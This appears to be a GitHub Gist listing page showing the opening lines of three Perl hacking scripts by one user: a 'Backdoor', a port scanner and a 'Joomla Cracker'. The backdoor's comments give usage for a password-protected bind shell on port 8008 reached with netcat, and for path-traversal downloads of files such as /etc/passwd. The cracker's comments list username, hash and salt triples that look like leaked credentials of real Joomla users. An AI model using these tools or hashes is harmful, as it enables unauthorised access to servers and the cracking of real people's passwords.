Skip to content

Instantly share code, notes, and snippets.

@cobra-tn
cobra-tn / backdoor [perl script]
Created April 13, 2012 13:37
Backdoor [Perl Script]
#usr/bin/perl
# httpbd.pl Usage:
# 1. bind shell:
# nc target 8008
# ->SHELLPASSWORD{ENTER}{ENTER}
# 2. download files
# http://target:8008/file?/etc/passwd
# or
# http://target:8008/file?../some/file
@cobra-tn
cobra-tn / Port Scanner
Created April 13, 2012 13:20
Port Scanner [Perl Script]
#!/usr/bin/perl
use IO::Socket;
if(@ARGV != 3){
print "ρσят ѕ¢αηηєя ¢σ∂є∂ ву вℓα¢к ¢σвяα
υѕαgє : [min port] [max port] [host]
";
exit 1;
}
@cobra-tn
cobra-tn / Joomla Cracker (Perl Script)
Created April 4, 2012 17:48
Joomla Cracker ( Perl Script )
om#!/usr/bin/perl
#The Donz writes this c0de coz has nothin' to do
#
#Example "Joomla hash" used by this script.
# admin:3714c0258224d6bfc12d37f9e5b5dd91:cwOO62YrNFcRvEDw:25:
# aasim1:54caf07c943036c8cb654533401df2c1:gOKEiWSqGYwT45I8:25:
# westernunion:88c272781e915fc2ec7d381706556468:EZrpMP6GEBOkvTVz:25:
# deanfriesen:1090e6c21ed9d0be822e2c7c10109fc5:1TGhXTRbNbnRpiFP:25:
# joycelyndavid:12bdc9215f5e0f5e935c391a014c457e:18:
#Example how to use.